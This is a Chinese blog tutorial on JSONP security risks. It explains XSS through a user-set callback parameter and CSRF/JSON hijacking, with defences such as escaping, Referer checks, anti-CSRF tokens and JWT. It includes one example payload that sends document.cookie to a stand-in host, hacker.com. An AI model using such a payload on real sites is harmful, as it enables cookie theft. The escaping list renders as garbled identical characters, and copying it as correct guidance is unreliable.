在很久之前的一篇文章，我们聊到了AJAX的概念，在更久之前的再上一篇文章，我们聊到了JSONP。
对比一下我们可以发现一个现象，AJAX出于安全性问题，对其进行了同源策略的限制，只有使用CORS才能跨域请求。但是JSONP呢，并没有这方面的限制，也就是说，理论上，使用JSONP可以任意地发送跨域的请求。
当时本篇文章的作者，也就是本人在接触到这方面的知识就在想，任意地发送跨域请求，不就可以随便地获取到想知道的内容吗？这样太危险了吧，应该有什么限制的吧？于是乎我便在网上搜索了相关了资料，发现JSONP的确存在着两个安全风险，不过都有对应的解决办法。
那么今天我们就一起来看一下这两个风险是什么，以及这些风险对应的解决办法，首先我们来看看安全问题是什么：
1.Callback可自定义导致的XSS安全漏洞
2.JSON劫持又称“JSON Hijacking”
XSS安全漏洞
首先来看一下第一个安全问题，Callback的可自定义，什么意思，我们回顾一下上上篇文章中你真的懂JSONP吗？，我们提到的内容：我们通过设置一个callback查询参数，来把页面中的一个函数的函数名传给服务器，然后让服务器端通过回调来调用页面中的函数，这种做法方便了前后端的交互，使得后端在不知道前端页面具体内容的情况下，也能正确地调用想要调用的函数。
我们来看一下以下代码：
<body>
<p style="color:red;">您的余额是<span id=amount>&&&amount&&&</span></p>
<button id=button>付款</button>
<script>
$('#button').on('click',function(){ let script=document.createElement('script')
script.src='/pay?callback=yyy'
document.body.appendChild(script)
script.=function(e){
e.currentTarget.remove()
}
script.=function(e){
alert('fail');
e.currentTarget.remove()
}
}) window.yyy=function(result){
amount.innerText=result.left
} </script></body>在以下这句代码中，函数名yyy作为查询参数被提交给服务器：
script.src='/pay?callback=yyy'
那么大家有没有想过，如果函数名yyy不是正常的函数名，而是一个script标签怎么办？例如：
script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'那么当服务器返回响应的时候，后面这段恶意代码就会被执行，那么用户的隐私信息就会存在泄露的可能，这就是所谓的XSS攻击，这种漏洞一般在一些网页的评论区中尤其容易发生。
解决办法：
对返回的内容进行字符过滤，主要要进行以下五种过滤：
1.把<替换成<
2.把>替换成>
3.把&替换成&
4.把"替换成"
5.把'替换成'
若返回的是脚本内容，则过滤之后会被替换成普通的文本格式，脚本将不会执行，则可以成功预防XSS攻击。
CSRF攻击
接下来讲一下JSON劫持，又称CSRF攻击，那到底，什么是CSRF攻击？
我们来打个比方：一天，小明在qq.com中登录了自己的QQ，这时候，小明在其他网站上打开了一个恶意网站hacker.com，恶意网站上的一个性感图片深深地吸引了小明的注意力，于是乎小明地点击了这张图片，然后hacker.com就会发送一个qq.com/add_friends请求，让当前用户添加了hacker为好友，但是由于小明完全沉浸在了网页的图片中，而不知不觉中添加了hacker作为好友。这就是CSRF攻击。
为什么恶意用户可以无声无息地添加好友，而用户（小明）自己却毫不知情，那是因为用户在登录一些网站以后，这些网站会在返回一个含有用户的隐私信息的cookie以便用户下次访问时能快速地验证用户的个人身份，于是乎，通过JSONP就可以跨域向这些网页发送请求来进行一些非法操作了，并且JSONP还能通过callback函数来获取一些网页返回的隐私信息。
那么如何预防这种CSRF攻击呢？
三种方案：
1.验证JSON文件调用的来源（Referer）
2.采用了anti-csrf-token的方案。
3.采用JWT技术
1.先说第一种：验证JSON文件调用的来源（Referer），HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，会带上Referer，通过验证Referer，可以判断请求的合法性，如果Referer是其他网站的话，就有可能是CSRF攻击，则拒绝该请求。但有些时候，Referer也是可以伪造的，所以一般还会配合第二种方案。
2.第二种方案：采用了anti-csrf-token，说白了就是一个随机数token，当服务器收到了一个页面请求之后，他会在渲染页面的同时把一个随机数token一并埋入页面中，一般这种埋入是通过写入到form表单中实现的：
<input type="hidden" name="_csrf_token" value="xxxx">
由于token写在了form表单中，因此表单在提交内容时，就会一并带上这个_csrf_token给服务器验证，若与session中的随机数token一致，那么就表示是正常的请求，否则则代表请求有可能是从非法网页里伪造发送的。
3.第三种方案叫JWT，全称叫作：Json web token，每次提交信息的时候会把Json web token放入请求头的 Authorization中的，他是一种类似于随机数token的方案，但是他有着自己的优点：比如他不需要在服务器端保存会话信息，比如说你使用随机数token，那么每多一个用户，你都需要在他对应的session内存中储存他的验证token，而JWT不需要，服务器只需要保护好secret私钥即可，另外，这种方案有较强的通用性，即他在app也同样可以使用。
作者：宣泽彬
链接：https://www.jianshu.com/p/14f569b13dcc
共同学习，写下你的评论
评论加载中...
作者其他优质文章
